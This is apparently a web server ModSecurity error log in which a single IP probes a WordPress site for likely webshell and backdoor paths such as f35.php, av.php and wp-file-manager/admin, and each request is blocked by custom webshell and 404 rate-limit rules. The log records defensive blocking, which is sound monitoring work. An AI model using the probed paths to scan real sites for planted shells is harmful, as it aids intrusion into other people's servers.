[Tue Apr 14 22:02:58.735616 2026] [:error] [pid 3810:tid 3826] [client 20.188.36.87:13323] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fe5.php"] [unique_id "ad5JEsqc5XaYZhFXVGe5ggAAAY0"]
[Tue Apr 14 22:02:59.210162 2026] [:error] [pid 59985:tid 60006] [client 20.188.36.87:11257] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fe5.php"] [unique_id "ad5JE-gHaxkvLE6V1klshgAAAA0"]
[Tue Apr 14 22:02:59.682665 2026] [:error] [pid 59985:tid 60011] [client 20.188.36.87:11179] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fe5.php"] [unique_id "ad5JE-gHaxkvLE6V1klshwAAABI"]
[Tue Apr 14 22:03:00.153485 2026] [:error] [pid 59985:tid 59999] [client 20.188.36.87:11162] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fe5.php"] [unique_id "ad5JFOgHaxkvLE6V1klsigAAAAY"]
[Tue Apr 14 22:03:00.624759 2026] [:error] [pid 59986:tid 60034] [client 20.188.36.87:11225] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "ad5JFJ6axKeW6bX4H7eVrwAAAE4"]
[Tue Apr 14 22:03:01.096864 2026] [:error] [pid 59986:tid 60023] [client 20.188.36.87:11156] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "ad5JFZ6axKeW6bX4H7eVsQAAAEM"]
[Tue Apr 14 22:03:01.570079 2026] [:error] [pid 59986:tid 60031] [client 20.188.36.87:13516] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "ad5JFZ6axKeW6bX4H7eVtgAAAEs"]
[Tue Apr 14 22:03:02.042520 2026] [:error] [pid 59986:tid 60034] [client 20.188.36.87:11170] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "ad5JFp6axKeW6bX4H7eVwQAAAE4"]
[Tue Apr 14 22:03:02.515670 2026] [:error] [pid 3778:tid 3785] [client 20.188.36.87:11159] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "ad5JFhx5DfpNmYF_PaH3mwAAAUU"]
[Tue Apr 14 22:03:02.986124 2026] [:error] [pid 59986:tid 60026] [client 20.188.36.87:11249] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "ad5JFp6axKeW6bX4H7eVxwAAAEY"]
[Tue Apr 14 22:03:03.456678 2026] [:error] [pid 59986:tid 60033] [client 20.188.36.87:11149] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "ad5JF56axKeW6bX4H7eVygAAAE0"]
[Tue Apr 14 22:03:03.938256 2026] [:error] [pid 3810:tid 3826] [client 20.188.36.87:11242] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/av.php"] [unique_id "ad5JF8qc5XaYZhFXVGe5jQAAAY0"]
[Tue Apr 14 22:03:04.409719 2026] [:error] [pid 3810:tid 3816] [client 20.188.36.87:11155] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abcd.php"] [unique_id "ad5JGMqc5XaYZhFXVGe5kwAAAYM"]
[Tue Apr 14 22:03:04.888160 2026] [:error] [pid 3810:tid 3831] [client 20.188.36.87:13343] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abcd.php"] [unique_id "ad5JGMqc5XaYZhFXVGe5mQAAAZI"]
[Tue Apr 14 22:03:05.359061 2026] [:error] [pid 3810:tid 3814] [client 20.188.36.87:11252] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abcd.php"] [unique_id "ad5JGcqc5XaYZhFXVGe5nwAAAYE"]
[Tue Apr 14 22:03:05.830461 2026] [:error] [pid 22177:tid 22192] [client 20.188.36.87:11194] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/abcd.php"] [unique_id "ad5JGYTVeJSXHDIlEDuR5QAAAQ0"]
[Tue Apr 14 22:03:06.303215 2026] [:error] [pid 60074:tid 60094] [client 20.188.36.87:13334] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fi.php"] [unique_id "ad5JGutqnEmNU9vpHCm1MQAAANI"]
[Tue Apr 14 22:03:06.779161 2026] [:error] [pid 59986:tid 60023] [client 20.188.36.87:11082] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fi.php"] [unique_id "ad5JGp6axKeW6bX4H7eV0AAAAEM"]
[Tue Apr 14 22:03:07.251801 2026] [:error] [pid 59986:tid 60033] [client 20.188.36.87:11214] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fi.php"] [unique_id "ad5JG56axKeW6bX4H7eV1AAAAE0"]
[Tue Apr 14 22:03:07.722060 2026] [:error] [pid 60074:tid 60082] [client 20.188.36.87:11201] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fi.php"] [unique_id "ad5JG-tqnEmNU9vpHCm1NQAAAMY"]
[Tue Apr 14 22:03:08.194143 2026] [:error] [pid 60074:tid 60089] [client 20.188.36.87:11190] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a1.php"] [unique_id "ad5JHOtqnEmNU9vpHCm1NgAAAM0"]
[Tue Apr 14 22:03:08.664771 2026] [:error] [pid 60074:tid 60078] [client 20.188.36.87:11141] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a1.php"] [unique_id "ad5JHOtqnEmNU9vpHCm1OAAAAMI"]
[Tue Apr 14 22:03:09.140970 2026] [:error] [pid 60074:tid 60099] [client 20.188.36.87:11174] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a1.php"] [unique_id "ad5JHetqnEmNU9vpHCm1OwAAANc"]
[Tue Apr 14 22:03:09.613981 2026] [:error] [pid 60074:tid 60098] [client 20.188.36.87:11101] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/a1.php"] [unique_id "ad5JHetqnEmNU9vpHCm1PgAAANY"]
[Tue Apr 14 22:03:10.084909 2026] [:error] [pid 3810:tid 3833] [client 20.188.36.87:13369] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/update/f35.php"] [unique_id "ad5JHsqc5XaYZhFXVGe5qgAAAZQ"]
[Tue Apr 14 22:03:10.555548 2026] [:error] [pid 59986:tid 60041] [client 20.188.36.87:11216] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/update/f35.php"] [unique_id "ad5JHp6axKeW6bX4H7eV4QAAAFU"]
[Tue Apr 14 22:03:11.026814 2026] [:error] [pid 59986:tid 60042] [client 20.188.36.87:11215] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/update/f35.php"] [unique_id "ad5JH56axKeW6bX4H7eV4gAAAFY"]
[Tue Apr 14 22:03:11.498543 2026] [:error] [pid 59986:tid 60028] [client 20.188.36.87:11147] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/update/f35.php"] [unique_id "ad5JH56axKeW6bX4H7eV5AAAAEg"]
[Tue Apr 14 22:03:11.969983 2026] [:error] [pid 22177:tid 22181] [client 20.188.36.87:11226] [client 20.188.36.87] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "ad5JH4TVeJSXHDIlEDuR7AAAAQI"]
[Tue Apr 14 22:03:12.441663 2026] [:error] [pid 3810:tid 3836] [client 20.188.36.87:11111] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "ad5JIMqc5XaYZhFXVGe5uAAAAZc"]
[Tue Apr 14 22:03:12.912878 2026] [:error] [pid 59986:tid 60023] [client 20.188.36.87:11243] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "ad5JIJ6axKeW6bX4H7eV6QAAAEM"]
[Tue Apr 14 22:03:13.384020 2026] [:error] [pid 59985:tid 60000] [client 20.188.36.87:11142] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "ad5JIegHaxkvLE6V1klslAAAAAc"]
[Tue Apr 14 22:03:13.857938 2026] [:error] [pid 59985:tid 59997] [client 20.188.36.87:11209] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "ad5JIegHaxkvLE6V1klslgAAAAQ"]
[Tue Apr 14 22:03:14.329196 2026] [:error] [pid 3810:tid 3825] [client 20.188.36.87:11231] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "ad5JIsqc5XaYZhFXVGe5vwAAAYw"]
[Tue Apr 14 22:03:14.800894 2026] [:error] [pid 3810:tid 3820] [client 20.188.36.87:11230] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "ad5JIsqc5XaYZhFXVGe5wQAAAYc"]
[Tue Apr 14 22:03:15.272485 2026] [:error] [pid 60074:tid 60082] [client 20.188.36.87:11032] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "ad5JI-tqnEmNU9vpHCm1RgAAAMY"]
[Tue Apr 14 22:03:15.749356 2026] [:error] [pid 60074:tid 60099] [client 20.188.36.87:11258] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "ad5JI-tqnEmNU9vpHCm1RwAAANc"]
[Tue Apr 14 22:03:16.219729 2026] [:error] [pid 22177:tid 22180] [client 20.188.36.87:11093] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "ad5JJITVeJSXHDIlEDuR8AAAAQE"]
[Tue Apr 14 22:03:16.692896 2026] [:error] [pid 22177:tid 22199] [client 20.188.36.87:11150] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "ad5JJITVeJSXHDIlEDuR8QAAARQ"]
[Tue Apr 14 22:03:17.164732 2026] [:error] [pid 22177:tid 22202] [client 20.188.36.87:11262] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "ad5JJYTVeJSXHDIlEDuR9wAAARc"]
[Tue Apr 14 22:03:17.637494 2026] [:error] [pid 60074:tid 60077] [client 20.188.36.87:11131] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/wp-file-manager/admin/"] [unique_id "ad5JJetqnEmNU9vpHCm1TgAAAME"]
[Tue Apr 14 22:03:18.107638 2026] [:error] [pid 60074:tid 60085] [client 20.188.36.87:11247] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/wp-file-manager/admin/"] [unique_id "ad5JJutqnEmNU9vpHCm1TwAAAMk"]
[Tue Apr 14 22:03:18.582458 2026] [:error] [pid 3810:tid 3824] [client 20.188.36.87:11103] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/wp-file-manager/admin/"] [unique_id "ad5JJsqc5XaYZhFXVGe5zAAAAYs"]
[Tue Apr 14 22:03:19.052870 2026] [:error] [pid 3810:tid 3834] [client 20.188.36.87:11187] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/wp-file-manager/admin/"] [unique_id "ad5JJ8qc5XaYZhFXVGe5zwAAAZU"]
[Tue Apr 14 22:03:19.523711 2026] [:error] [pid 3778:tid 3796] [client 20.188.36.87:11154] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/k.php"] [unique_id "ad5JJxx5DfpNmYF_PaH3pAAAAVA"]
[Tue Apr 14 22:03:19.994293 2026] [:error] [pid 59986:tid 60044] [client 20.188.36.87:11151] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/k.php"] [unique_id "ad5JJ56axKeW6bX4H7eV7gAAAFg"]
[Tue Apr 14 22:03:20.465318 2026] [:error] [pid 59986:tid 60029] [client 20.188.36.87:11212] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/k.php"] [unique_id "ad5JKJ6axKeW6bX4H7eV7wAAAEk"]
[Tue Apr 14 22:03:20.937298 2026] [:error] [pid 59987:tid 60064] [client 20.188.36.87:11086] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/k.php"] [unique_id "ad5JKFWpk-Tfi6_vLKpCDwAAAJE"]
[Tue Apr 14 22:03:21.407969 2026] [:error] [pid 60074:tid 60082] [client 20.188.36.87:11173] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dev.php"] [unique_id "ad5JKetqnEmNU9vpHCm1UwAAAMY"]
[Tue Apr 14 22:03:21.877738 2026] [:error] [pid 59986:tid 60031] [client 20.188.36.87:11206] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dev.php"] [unique_id "ad5JKZ6axKeW6bX4H7eV9gAAAEs"]
[Tue Apr 14 22:03:22.348605 2026] [:error] [pid 59986:tid 60042] [client 20.188.36.87:11163] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dev.php"] [unique_id "ad5JKp6axKeW6bX4H7eV-QAAAFY"]
[Tue Apr 14 22:03:22.822613 2026] [:error] [pid 59987:tid 60057] [client 20.188.36.87:11191] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dev.php"] [unique_id "ad5JKlWpk-Tfi6_vLKpCEQAAAIo"]
[Tue Apr 14 22:03:23.294797 2026] [:error] [pid 3778:tid 3799] [client 20.188.36.87:11239] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bal.php"] [unique_id "ad5JKxx5DfpNmYF_PaH3qAAAAVM"]
[Tue Apr 14 22:03:23.767068 2026] [:error] [pid 22177:tid 22193] [client 20.188.36.87:11202] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bal.php"] [unique_id "ad5JK4TVeJSXHDIlEDuR_gAAAQ4"]
[Tue Apr 14 22:03:24.237812 2026] [:error] [pid 59985:tid 60005] [client 20.188.36.87:13336] [client 20.188.36.87] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bal.php"] [unique_id "ad5JLOgHaxkvLE6V1klsnwAAAAw"]
